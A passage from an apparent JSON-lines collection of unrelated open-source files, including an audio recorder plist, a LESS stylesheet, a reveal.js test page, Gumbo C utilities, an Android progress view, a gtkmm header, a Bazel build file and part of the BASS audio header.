version=\"1.0\">\n<dict>\n\t<key>IBClasses</key>\n\t<array>\n\t\t<dict>\n\t\t\t<key>ACTIONS</key>\n\t\t\t<dict>\n\t\t\t\t<key>changePlaybackLocation</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>changePlaybackVolume</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>fastForward</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>insert</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>recordPause</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>rewind</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>setAudioFileFormat</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>setChannelGain</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>startRecording</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>togglePlaythru</key>\n\t\t\t\t<string>id</string>\n\t\t\t</dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>SproutedAudioRecorder</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>OUTLETS</key>\n\t\t\t<dict>\n\t\t\t\t<key>fastforward</key>\n\t\t\t\t<string>NSButton</string>\n\t\t\t\t<key>insertButton</key>\n\t\t\t\t<string>NSButton</string>\n\t\t\t\t<key>mMeteringView</key>\n\t\t\t\t<string>PDMeteringView</string>\n\t\t\t\t<key>playbackLocSlider</key>\n\t\t\t\t<string>PDMovieSlider</string>\n\t\t\t\t<key>playbackLockHolder</key>\n\t\t\t\t<string>NSView</string>\n\t\t\t\t<key>player</key>\n\t\t\t\t<string>QTMovieView</string>\n\t\t\t\t<key>recAlbumField</key>\n\t\t\t\t<string>NSTextField</string>\n\t\t\t\t<key>recArtistField</key>\n\t\t\t\t<string>NSTextField</string>\n\t\t\t\t<key>recProgress</key>\n\t\t\t\t<string>NSProgressIndicator</string>\n\t\t\t\t<key>recProgressText</key>\n\t\t\t\t<string>NSTextField</string>\n\t\t\t\t<key>recProgressWin</key>\n\t\t\t\t<string>NSWindow</string>\n\t\t\t\t<key>recTitleField</key>\n\t\t\t\t<string>NSTextField</string>\n\t\t\t\t<key>recordButton</key>\n\t\t\t\t<string>NSButton</string>\n\t\t\t\t<key>recordFormat</key>\n\t\t\t\t<string>NSPopUpButton</string>\n\t\t\t\t<key>recorderController</key>\n\t\t\t\t<string>NSObjectController</string>\n\t\t\t\t<key>rewind</key>\n\t\t\t\t<string>NSButton</string>\n\t\t\t\t<key>timeField</key>\n\t\t\t\t<string>NSTextField</string>\n\t\t\t\t<key>view</key>\n\t\t\t\t<string>NSView</string>\n\t\t\t\t<key>volumeImage</key>\n\t\t\t\t<string>NSImageView</string>\n\t\t\t\t<key>volumeSlider</key>\n\t\t\t\t<string>NSSlider</string>\n\t\t\t</dict>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>SproutedRecorder</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>PDMeteringView</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>MeteringView</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>NSView</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>NSResponder</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>ACTIONS</key>\n\t\t\t<dict>\n\t\t\t\t<key>relaunch</key>\n\t\t\t\t<string>id</string>\n\t\t\t</dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>NSApplication</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>NSResponder</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>FirstResponder</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>NSObject</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>NSObject</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>PDMovieSlider</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>NSSlider</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>NSCell</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>NSObject</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>MeteringView</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>NSView</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>ACTIONS</key>\n\t\t\t<dict>\n\t\t\t\t<key>saveRecording</key>\n\t\t\t\t<string>id</string>\n\t\t\t\t<key>stopRecording</key>\n\t\t\t\t<string>id</string>\n\t\t\t</dict>\n\t\t\t<key>CLASS</key>\n\t\t\t<string>SproutedRecorder</string>\n\t\t\t<key>LANGUAGE</key>\n\t\t\t<string>ObjC</string>\n\t\t\t<key>OUTLETS</key>\n\t\t\t<dict>\n\t\t\t\t<key>view</key>\n\t\t\t\t<string>NSView</string>\n\t\t\t</dict>\n\t\t\t<key>SUPERCLASS</key>\n\t\t\t<string>NSObject</string>\n\t\t</dict>\n\t</array>\n\t<key>IBVersion</key>\n\t<string>1</string>\n</dict>\n</plist>\n"} {"text": "@staticPath: \"../../\";\n// Z-indexes\n@zindex-context : 10;\n@zindex-content : @zindex-context+100;\n@zindex-tooltips : @zindex-content+100;\n@zindex-loading : @zindex-tooltips+100;\n@zindex-breadcrumb: @zindex-loading+100;\n@zindex-header : @zindex-breadcrumb+100;\n// Icons font\n@import '//netdna.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.css';\n// Bootstrap dependancies\n@import 'components/bootstrap/loader.less';\n@import 'components/bootstrap/alert.less';\n@import 'components/bootstrap/fonts.less';\n@import 'components/bootstrap/dropdown-menu.less';\n@import 'components/bootstrap/form.less';\n@import 'components/bootstrap/icon.less';\n@import 'components/bootstrap/menu.less';\n@import 'components/bootstrap/navs.less';\n@import 'components/bootstrap/modals.less';\n@import 'components/bootstrap/pagination.less';\n@import 'components/bootstrap/panel.less';\n// Custom mixin and helper classes\n@import 'components/tools/tools.less';\n@import 'components/animations/animations.less';\n// Core\n@import 'components/graphviz/graphviz.less';\n\n@embed-heading-height: 30px;\n\n.embed {\n\n\tposition:fixed;\n\ttop:0;\n\tbottom:0;\n\tright:0;\n\tleft:0;\n\n\t&--loading:before {\n\t\tcontent:\"\";\n\t\tposition:absolute;\n\t\ttop:0;\n\t\tbottom:0;\n\t\tright:0;\n\t\tleft:0;\n\t\tbackground:@brand-secondary;\n\t\tz-index:30;\n\t}\n\n\t&--loading:after {\n\t\tz-index:40;\n\t\tcolor:white;\n\t\tcontent:\"Loading...\";\n\t\tposition:absolute;\n\t\ttop:50%;\n\t\tleft:50%;\n\t\t.translate(-50%, -50%);\n\t}\n\n\t&__heading {\n\t\tz-index: 20;\n\t\tbackground: @brand-secondary;\n\t\tposition:fixed;\n\t\ttop:0;\n\t\tright:0;\n\t\tleft:0;\n\t\tpadding:0 10px;\n\t\theight: @embed-heading-height;\n\t\tline-height: @embed-heading-height;\n\t\twhite-space: nowrap;\n\t\tcolor: contrast(@brand-secondary);\n\t\toverflow: hidden;\n\t\t.box-shadow(0 0 10px black);\n\n\t\t&__name {\n\t\t\tdisplay: inline-block;\n\t\t\tfont-size: inherit;\n\t\t\tmargin:0;\n\t\t\tfont-weight: bold;\n\t\t\ta, a:hover, a:active {\n\t\t\t\tcolor:white;\n\t\t\t}\n\t\t}\n\n\t\t&__brand {\n\t\t\tposition: absolute;\n\t\t\tright:0px;\n\t\t\ttop:0;\n\t\t\tpadding:inherit;\n\t\t\tfont-size:0.8em;\n\t\t\tbackground: @brand-secondary;\n\t\t\t.box-shadow(0 0 20px 10px @brand-secondary);\n\t\t}\n\t}\n\n\t&__graphviz {\n\t\tz-index: 10;\n\t\tposition:absolute;\n\t\ttop:@embed-heading-height;\n\t\tbottom:0;\n\t\tleft:0;\n\t\tright:0;\n\t}\n}\n"} {"text": "<!doctype html>\n<html lang=\"en\">\n\n\t<head>\n\t\t<meta charset=\"utf-8\">\n\n\t\t<title>reveal.js - Tests</title>\n\n\t\t<link rel=\"stylesheet\" href=\"../css/reveal.css\">\n\t\t<link rel=\"stylesheet\" href=\"qunit-1.12.0.css\">\n\t</head>\n\n\t<body style=\"overflow: auto;\">\n\n\t\t<div id=\"qunit\"></div>\n \t\t<div id=\"qunit-fixture\"></div>\n\n\t\t<div class=\"reveal\" style=\"display: none;\">\n\n\t\t\t<div class=\"slides\">\n\n\t\t\t\t<section data-background-image=\"examples/assets/image1.png\">\n\t\t\t\t\t<h1>1</h1>\n\t\t\t\t\t<img data-src=\"fake-url.png\">\n\t\t\t\t\t<video data-src=\"fake-url.mp4\"></video>\n\t\t\t\t\t<audio data-src=\"fake-url.mp3\"></audio>\n\t\t\t\t</section>\n\n\t\t\t\t<section>\n\t\t\t\t\t<section data-background=\"examples/assets/image2.png\">\n\t\t\t\t\t\t<h1>2.1</h1>\n\t\t\t\t\t</section>\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>2.2</h1>\n\t\t\t\t\t</section>\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>2.3</h1>\n\t\t\t\t\t</section>\n\t\t\t\t</section>\n\n\t\t\t\t<section id=\"fragment-slides\">\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>3.1</h1>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li class=\"fragment\">4.1</li>\n\t\t\t\t\t\t\t<li class=\"fragment\">4.2</li>\n\t\t\t\t\t\t\t<li class=\"fragment\">4.3</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</section>\n\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>3.2</h1>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"0\">4.1</li>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"0\">4.2</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t<iframe data-src=\"http://example.com\"></iframe>\n\t\t\t\t\t</section>\n\n\t\t\t\t\t<section>\n\t\t\t\t\t\t<h1>3.3</h1>\n\t\t\t\t\t\t<ul>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"1\">3.3.1</li>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"4\">3.3.2</li>\n\t\t\t\t\t\t\t<li class=\"fragment\" data-fragment-index=\"4\">3.3.3</li>\n\t\t\t\t\t\t</ul>\n\t\t\t\t\t</section>\n\t\t\t\t</section>\n\n\t\t\t\t<section>\n\t\t\t\t\t<h1>4</h1>\n\t\t\t\t</section>\n\n\t\t\t</div>\n\n\t\t</div>\n\n\t\t<script src=\"../lib/js/head.min.js\"></script>\n\t\t<script src=\"../js/reveal.js\"></script>\n\t\t<script src=\"qunit-1.12.0.js\"></script>\n\n\t\t<script src=\"test.js\"></script>\n\n\t</body>\n</html>\n"} {"text": "// Copyright 2010 Google Inc. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n// Author: jdtang@google.com (Jonathan Tang)\n\n#include \"util.h\"\n\n#include <assert.h>\n#include <stdlib.h>\n#include <string.h>\n#include <strings.h>\n#include <stdarg.h>\n#include <stdio.h>\n\n#include \"gumbo.h\"\n#include \"parser.h\"\n\n// TODO(jdtang): This should be elsewhere, but there's no .c file for\n// SourcePositions and yet the constant needs some linkage, so this is as good\n// as any.\nconst GumboSourcePosition kGumboEmptySourcePosition = { 0, 0, 0 };\n\n/*\n * Default memory management helpers;\n * set to system's realloc and free by default\n */\nvoid *(* gumbo_user_allocator)(void *, size_t) = realloc;\nvoid (* gumbo_user_free)(void *) = free;\n\nvoid gumbo_memory_set_allocator(void *(*allocator_p)(void *, size_t))\n{\n gumbo_user_allocator = allocator_p ? allocator_p : realloc;\n}\n\nvoid gumbo_memory_set_free(void (*free_p)(void *))\n{\n gumbo_user_free = free_p ? free_p : free;\n}\n\nbool gumbo_isspace(unsigned char ch) \n{\n switch(ch) {\n case ' ':\n case '\\f':\n case '\\r':\n case '\\n':\n case '\\t':\n return true;\n default:\n return false;\n }\n}\n\nbool gumbo_isalnum(unsigned char ch) \n{\n if ('a' <= ch && ch <= 'z') return true;\n if ('A' <= ch && ch <= 'Z') return true;\n if ('0' <= ch && ch <= '9') return true;\n return false;\n}\n\n// Debug function to trace operation of the parser. Pass --copts=-DGUMBO_DEBUG\n// to use.\nvoid gumbo_debug(const char* format, ...) {\n#ifdef GUMBO_DEBUG\n va_list args;\n va_start(args, format);\n vprintf(format, args);\n va_end(args);\n fflush(stdout);\n#endif\n}\n"} {"text": ".TH ola_uni_merge 1 \"June 2015\"\n.SH NAME\nola_uni_merge \\- Set the merge mode for a universe in olad.\n.SH SYNOPSIS\n.B ola_uni_merge\n--universe <uni> [--ltp]\n.SH DESCRIPTION\n.B ola_uni_merge\nis used to set the merge mode for a universe. Without --ltp it will revert to\nHTP mode.\n.SH OPTIONS\n.IP \"-l, --ltp\"\nChange to LTP mode.\n.IP \"-u, --universe <universe>\"\nId of the universe to name.\n.IP \"-h, --help\"\nDisplay the help message\n.SH SEE ALSO\n.BR olad(1) ,\n.\n"} {"text": "# 7.3 review exercises\r\n\r\n\r\n# Display whether the length of user input is <, > or = 5 characters\r\nmy_input = input(\"Type something: \")\r\n\r\nif len(my_input) < 5:\r\n print(\"Your input is less than 5 characters long.\")\r\nelif len(my_input) > 5:\r\n print(\"Your input is greater than 5 characters long.\")\r\nelse:\r\n print(\"Your input is 5 characters long.\")\r\n"} {"text": "/**\n * created by jiang, 16/2/24\n * Copyright (c) 2016, jyuesong@gmail.com All Rights Reserved.\n * * # #\n * # _oo0oo_ #\n * # o8888888o #\n * # 88\" . \"88 #\n * # (| -_- |) #\n * # 0\\ = /0 #\n * # ___/`---'\\___ #\n * # .' \\\\| |# '. #\n * # / \\\\||| : |||# \\ #\n * # / _||||| -:- |||||- \\ #\n * # | | \\\\\\ - #/ | | #\n * # | \\_| ''\\---/'' |_/ | #\n * # \\ .-\\__ '-' ___/-. / #\n * # ___'. .' /--.--\\ `. .'___ #\n * # .\"\" '< `.___\\_<|>_/___.' >' \"\". #\n * # | | : `- \\`.;`\\ _ /`;.`/ - ` : | | #\n * # \\ \\ `_. \\_ __\\ /__ _/ .-` / / #\n * # =====`-.____`.___ \\_____/___.-`___.-'===== #\n * # `=---=' #\n * # ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #\n * # #\n * # 佛祖保佑 永无BUG #\n * # #\n */\n\npackage android.jiang.com.progressview;\n\nimport android.content.Context;\nimport android.graphics.Canvas;\nimport android.graphics.Color;\nimport android.graphics.Paint;\nimport android.util.AttributeSet;\nimport android.view.View;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Created by jiang on 16/2/24.\n */\npublic class ProgressView extends View {\n\n\n /**\n * 绘制的笔\n */\n private Paint mPaint;\n\n /**\n * 控件的宽高\n */\n private int mWidth;\n private int mHeight;\n\n /**\n * 圆的半径\n */\n private int circleRadius;\n /**\n * 圆弧的半径\n */\n private int stokenRadius;\n\n /**\n * 圆弧的宽度\n */\n private int stokenWidth;\n /**\n * 线与圆弧之间的距离\n */\n private int linePadding;\n\n /**\n * 选中和没选中的颜色\n */\n private int checkedColor = Color.WHITE;\n private int uncheckedColor = Color.parseColor(\"#ECA6AD\");\n\n\n /**\n * 文字的大小\n */\n private int normaltextSize;\n\n /**\n * 文字距离顶部的距离\n */\n private int textPaddingTop;\n\n\n /**\n * 个数\n */\n private int circleCount = 0;\n\n /**\n * 文本的信息\n */\n private Paint.FontMetricsInt fontMetricsInt;\n\n /**\n * 圆的y轴\n */\n private int circlePointY;\n\n /**\n * 根据宽度算出平均分得的宽度\n */\n private int everyWidth;\n\n /**\n * 数据\n */\n private List<Model> mModels = new ArrayList<>();\n\n\n /**\n * 常量\n *\n * @param context\n */\n public static final int CIRCLE_RADIUS = 4;\n public static final int STOKEN_RADIUS = 9;\n public static final int STOKEN_WIDTH = 2;\n public static final int LINE_PADDING = 6;\n public static final int TEXTPADDINGTOP = 10;\n public static final int NORMALTEXTSIZE = 14;\n public static final int AFTER = 144;\n public static final int STARTING = 143;\n public static final int BEFORE = 142;\n\n\n public ProgressView(Context context) {\n this(context, null);\n }\n\n public ProgressView(Context context, AttributeSet attrs) {\n this(context, attrs, 0);\n }\n\n public ProgressView(Context context, AttributeSet attrs, int defStyleAttr) {\n super(context, attrs, defStyleAttr);\n initValues();\n initpaint();\n }\n\n /**\n * 配置一些初始值\n */\n private void initValues() {\n circleRadius = Utils.dip2px(getContext(), CIRCLE_RADIUS);\n stokenRadius = Utils.dip2px(getContext(), STOKEN_RADIUS);\n stokenWidth = Utils.dip2px(getContext(), STOKEN_WIDTH);\n linePadding = Utils.dip2px(getContext(), LINE_PADDING);\n textPaddingTop = Utils.dip2px(getContext(), TEXTPADDINGTOP);\n normaltextSize = Utils.sp2px(getContext(), NORMALTEXTSIZE);\n }\n\n /**\n * 配置画笔\n */\n private void initpaint() {\n mPaint = new Paint();\n mPaint.setStrokeWidth(stokenWidth);\n mPaint.setTextSize(normaltextSize);\n fontMetricsInt = mPaint.getFontMetricsInt();\n }\n\n\n @Override\n protected void onSizeChanged(int w, int h, int oldw, int oldh) {\n super.onSizeChanged(w, h, oldw, oldh);\n configValues();\n\n }\n\n /**\n * 配置需要用到的数据\n */\n private void configValues() {\n mWidth = getMeasuredWidth() - getPaddingLeft() - getPaddingRight();\n mHeight = getMeasuredHeight() - getPaddingTop() - getPaddingBottom();\n\n circlePointY = mHeight / 2;\n everyWidth = mWidth / (circleCount + 1);\n }\n\n public void setData(List<Model> models) {\n mModels = models;\n fillInfo();\n invalidate();\n\n }\n\n private void fillInfo() {\n circleCount = mModels.size();\n }\n\n @Override\n protected void onDraw(Canvas canvas) {\n super.onDraw(canvas);\n if (circleCount == 0)\n return;\n for (int i = 0; i < circleCount; i++) {\n int color = getColor(i);\n boolean needStoken = needStoken(i);\n drawCircleWithParam(canvas, everyWidth * (i + 1), circlePointY, needStoken, color, mModels.get(i).name);\n if (i == circleCount - 1)\n return;\n drawLine(canvas, everyWidth * (i + 1), everyWidth * (i + 2), getColor(i + 1));\n\n }\n }\n\n\n private int getColor(int i) {\n int color;\n Model model = mModels.get(i);\n if (model.state == BEFORE) {\n color = checkedColor;\n } else if (model.state == STARTING) {\n color = checkedColor;\n } else {\n color = uncheckedColor;\n }\n return color;\n }\n\n private boolean needStoken(int i) {\n boolean needStoken = false;\n Model model = mModels.get(i);\n if (model.state == ProgressView.STARTING) {\n needStoken = true;\n }\n\n return needStoken;\n }\n\n /**\n * 画线\n *\n * @param canvas\n * @param circleStartX\n * @param mayEndX\n * @param color\n */\n private void drawLine(Canvas canvas, int circleStartX, int mayEndX, int color) {\n\n int startX = circleStartX + stokenRadius + stokenWidth + linePadding;\n int endX = mayEndX - stokenWidth - stokenRadius - linePadding;\n int startY = mHeight / 2;\n\n mPaint.setStyle(Paint.Style.FILL);\n mPaint.setColor(color);\n canvas.drawLine(startX, startY, endX, startY, mPaint);\n }\n\n /**\n * 画圆\n *\n * @param canvas\n * @param circleX\n * @param circleY\n * @param needStoken\n * @param color\n * @param value\n */\n private void drawCircleWithParam(Canvas canvas, int circleX, int circleY, boolean needStoken, int color, String value) {\n\n mPaint.setStyle(Paint.Style.FILL);\n mPaint.setColor(color);\n canvas.drawCircle(circleX, circleY, circleRadius, mPaint);\n int textWidth = (int) mPaint.measureText(value, 0, value.length());\n int textStartX = circleX - textWidth / 2;\n int textStartY = Math.abs(Math.abs(fontMetricsInt.bottom) + Math.abs(fontMetricsInt.top)) / 2 + circleY + textPaddingTop;\n textStartY += stokenRadius + stokenWidth;\n\n canvas.drawText(value, textStartX, textStartY, mPaint);\n if (needStoken) {\n mPaint.setStyle(Paint.Style.STROKE);\n canvas.drawCircle(circleX, circleY, stokenRadius, mPaint);\n }\n }\n\n\n static class Model {\n String name;\n\n public Model(String name, int state) {\n this.name = name;\n this.state = state;\n }\n\n int state; // BEFORE STARTING AFTER\n }\n}\n"} {"text": "/*\n * Copyright (C) 1998-2002 The gtkmm Development Team\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n */\n\n#include <gtkmm/range.h>\n_DEFS(gtkmm,gtk)\n\n_PINCLUDE(gtkmm/private/range_p.h)\n\nnamespace Gtk\n{\n\n/** A slider widget for selecting a value from a range.\n *\n * A Gtk::Scale is a slider control used to select a numeric value. To use it,\n * you'll probably want to investigate the methods on its base class,\n * Gtk::Range, in addition to the methods for Gtk::Scale itself. To set the\n * value of a scale, you would normally use set_value(). To detect\n * changes to the value, you would normally use signal_value_changed().\n *\n * Note that using the same upper and lower bounds for the Scale (through\n * the Range methods) will hide the slider itself. This is useful for\n * applications that want to show an undeterminate value on the scale, without\n * changing the layout of the application (such as movie or music players).\n *\n * @ingroup Widgets\n */\nclass GTKMM_API Scale : public Range\n{\n _CLASS_GTKOBJECT(Scale,GtkScale,GTK_SCALE,Gtk::Range,GtkRange, , , GTKMM_API)\npublic:\n\n _CTOR_DEFAULT()\n\n /**\n * @newin{3,2}\n */\n explicit Scale(Orientation orientation);\n\n //Note that we try to use the same default parameter value as the default property value.\n explicit Scale(const Glib::RefPtr<Adjustment>& adjustment, Orientation orientation = Orientation::HORIZONTAL);\n _IGNORE(gtk_scale_new)\n\n /** Set the number of decimal digits.\n *\n * This also causes the adjustment to be rounded off so the retrieved value\n * matches the value the user sees. Setting digits to 1 gives for example\n * 1.0, 2 gives 1.00, etc.\n */\n _WRAP_METHOD(void set_digits(int digits), gtk_scale_set_digits)\n\n /** Get the number of decimal digits.\n */\n _WRAP_METHOD(int get_digits() const, gtk_scale_get_digits)\n\n /** Set whether the current value is displayed as a string next to the slider.\n */\n _WRAP_METHOD(void set_draw_value(bool draw_value = true), gtk_scale_set_draw_value)\n\n /** Get whether the current value is displayed as a string next to the slider.\n */\n _WRAP_METHOD(bool get_draw_value() const, gtk_scale_get_draw_value)\n\n /** Set the position in which the value is displayed.\n */\n _WRAP_METHOD(void set_value_pos(PositionType pos), gtk_scale_set_value_pos)\n\n /** Get the position in which the value is displayed.\n */\n _WRAP_METHOD(PositionType get_value_pos() const, gtk_scale_get_value_pos)\n\n _WRAP_METHOD(void set_has_origin(bool has_origin = true), gtk_scale_set_has_origin)\n _WRAP_METHOD(bool get_has_origin() const, gtk_scale_get_has_origin)\n\n _WRAP_METHOD(Glib::RefPtr<Pango::Layout> get_layout(), gtk_scale_get_layout, refreturn)\n _WRAP_METHOD(Glib::RefPtr<const Pango::Layout> get_layout() const, gtk_scale_get_layout, refreturn, constversion)\n _WRAP_METHOD(void get_layout_offsets(int& x, int& y) const, gtk_scale_get_layout_offsets)\n\n _WRAP_METHOD(void add_mark(double value, PositionType position, const Glib::ustring& markup), gtk_scale_add_mark)\n _WRAP_METHOD(void clear_marks(), gtk_scale_clear_marks)\n\n /** Slot that formats the value.\n *\n * For instance:\n * @code\n * Glib::ustring on_format_value(double value);\n * @endcode\n *\n * If set_format_value() is not used, the value will be displayed on\n * its own, rounded according to the value of property_digits().\n *\n * @param value The numeric value to format.\n * @return A string describing a textual representation of the given numerical value.\n */\n using SlotFormatValue = sigc::slot<Glib::ustring(double)>;\n\n /** Changes how the scale value is displayed.\n *\n * The given slot will return a string representing the value.\n * That string will then be used to display the scale's value.\n *\n * If this method is not called, or if unset_format_value_func() is called\n * afterwards, the value will be displayed on its own, rounded according\n * to the value of property_digits().\n *\n * @param slot Slot that formats the value.\n */\n void set_format_value_func(const SlotFormatValue& slot);\n _IGNORE(gtk_scale_set_format_value_func)\n\n /** Undoes the effect of a previous call to set_format_value_func().\n */\n void unset_format_value_func();\n\n _WRAP_PROPERTY(\"digits\", int)\n _WRAP_PROPERTY(\"draw-value\", bool)\n _WRAP_PROPERTY(\"value-pos\", PositionType)\n _WRAP_PROPERTY(\"has-origin\", bool)\n};\n\n} //namespace Gtk\n"} {"text": "// Copyright (c) 2012 Ecma International. All rights reserved.\n// Ecma International makes this code available under the terms and conditions set\n// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the\n// \"Use Terms\"). Any redistribution of this code must retain the above\n// copyright and this notice and otherwise comply with the Use Terms.\n\n/*---\nes5id: 15.5.4.20-2-45\ndescription: >\n String.prototype.trim - 'this' is a string that contains white\n space, character, number, object and null characters\nincludes: [runTestCase.js]\n---*/\n\nfunction testcase() {\n var str = \"abc\" + \" \" + 123 + \" \" + {} + \" \" + \"\\u0000\";\n var str1 = \" \" + str + \" \";\n return str1.trim() === str;\n }\nrunTestCase(testcase);\n"} {"text": "\"use strict\";\n\nrequire(\"retape\")(require(\"./index\"))"} {"text": "package(default_visibility = [\"//visibility:public\"])\n\nload(\n \"@io_bazel_rules_go//go:def.bzl\",\n \"go_library\",\n \"go_test\",\n)\n\ngo_library(\n name = \"go_default_library\",\n srcs = [\n \"format.go\",\n \"metrics.go\",\n \"request.go\",\n \"scheme.go\",\n \"types.go\",\n \"union.go\",\n ],\n importpath = \"k8s.io/apiserver/pkg/audit\",\n deps = [\n \"//vendor/github.com/golang/glog:go_default_library\",\n \"//vendor/github.com/pborman/uuid:go_default_library\",\n \"//vendor/github.com/prometheus/client_golang/prometheus:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/apis/meta/v1:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/runtime:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/runtime/schema:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/runtime/serializer:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/types:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/util/errors:go_default_library\",\n \"//vendor/k8s.io/apimachinery/pkg/util/net:go_default_library\",\n \"//vendor/k8s.io/apiserver/pkg/apis/audit:go_default_library\",\n \"//vendor/k8s.io/apiserver/pkg/apis/audit/v1alpha1:go_default_library\",\n \"//vendor/k8s.io/apiserver/pkg/apis/audit/v1beta1:go_default_library\",\n \"//vendor/k8s.io/apiserver/pkg/authentication/user:go_default_library\",\n \"//vendor/k8s.io/apiserver/pkg/authorization/authorizer:go_default_library\",\n ],\n)\n\ngo_test(\n name = \"go_default_test\",\n srcs = [\"union_test.go\"],\n importpath = \"k8s.io/apiserver/pkg/audit\",\n library = \":go_default_library\",\n deps = [\n \"//vendor/k8s.io/apimachinery/pkg/types:go_default_library\",\n \"//vendor/k8s.io/apiserver/pkg/apis/audit:go_default_library\",\n ],\n)\n\nfilegroup(\n name = \"package-srcs\",\n srcs = glob([\"**\"]),\n tags = [\"automanaged\"],\n visibility = [\"//visibility:private\"],\n)\n\nfilegroup(\n name = \"all-srcs\",\n srcs = [\n \":package-srcs\",\n \"//staging/src/k8s.io/apiserver/pkg/audit/policy:all-srcs\",\n ],\n tags = [\"automanaged\"],\n)\n"} {"text": "/*\n\tBASS 2.4 C/C++ header file\n\tCopyright (c) 1999-2016 Un4seen Developments Ltd.\n\n\tSee the BASS.CHM file for more detailed documentation\n*/\n\n#ifndef BASS_H\n#define BASS_H\n\n#ifdef _WIN32\n#include <wtypes.h>\ntypedef unsigned __int64 QWORD;\n#else\n#include <stdint.h>\n#define WINAPI\n#define CALLBACK\ntypedef uint8_t BYTE;\ntypedef uint16_t WORD;\ntypedef uint32_t DWORD;\ntypedef uint64_t QWORD;\n#ifndef __OBJC__\ntypedef int BOOL;\n#endif\n#ifndef TRUE\n#define TRUE 1\n#define FALSE 0\n#endif\n#define LOBYTE(a) (BYTE)(a)\n#define HIBYTE(a) (BYTE)((a)>>8)\n#define LOWORD(a) (WORD)(a)\n#define HIWORD(a) (WORD)((a)>>16)\n#define MAKEWORD(a,b) (WORD)(((a)&0xff)|((b)<<8))\n#define MAKELONG(a,b) (DWORD)(((a)&0xffff)|((b)<<16))\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define BASSVERSION\t\t\t0x204\t// API 